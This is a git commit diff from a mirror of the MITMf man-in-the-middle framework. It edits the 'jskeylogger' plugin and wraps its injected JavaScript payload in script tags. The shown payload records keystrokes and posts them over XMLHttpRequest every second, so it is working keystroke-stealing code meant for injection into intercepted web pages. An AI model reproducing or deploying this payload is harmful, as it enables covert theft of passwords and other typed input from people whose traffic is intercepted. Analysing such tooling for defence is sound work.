mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-08 05:51:48 -07:00
forgot script tags...HTML is hard
This commit is contained in:
parent
678548d197
commit
37f4826521
1 changed files with 4 additions and 2 deletions
|
@ -15,7 +15,8 @@ class jskeylogger(Inject, Plugin):
|
||||||
def get_payload(self):
|
def get_payload(self):
|
||||||
#simple js keylogger stolen from http://wiremask.eu/xss-keylogger/
|
#simple js keylogger stolen from http://wiremask.eu/xss-keylogger/
|
||||||
|
|
||||||
payload = """var keys = '';
|
payload = """<script type="text/javascript">
|
||||||
|
var keys = '';
|
||||||
|
|
||||||
function make_xhr(){
|
function make_xhr(){
|
||||||
var xhr;
|
var xhr;
|
||||||
|
@ -53,6 +54,7 @@ window.setInterval(function(){
|
||||||
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
|
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
|
||||||
xhr.send(keys);
|
xhr.send(keys);
|
||||||
keys = '';
|
keys = '';
|
||||||
}, 1000);"""
|
}, 1000);
|
||||||
|
</script>"""
|
||||||
|
|
||||||
return payload
|
return payload
|
Loading…
Add table
Add a link
Reference in a new issue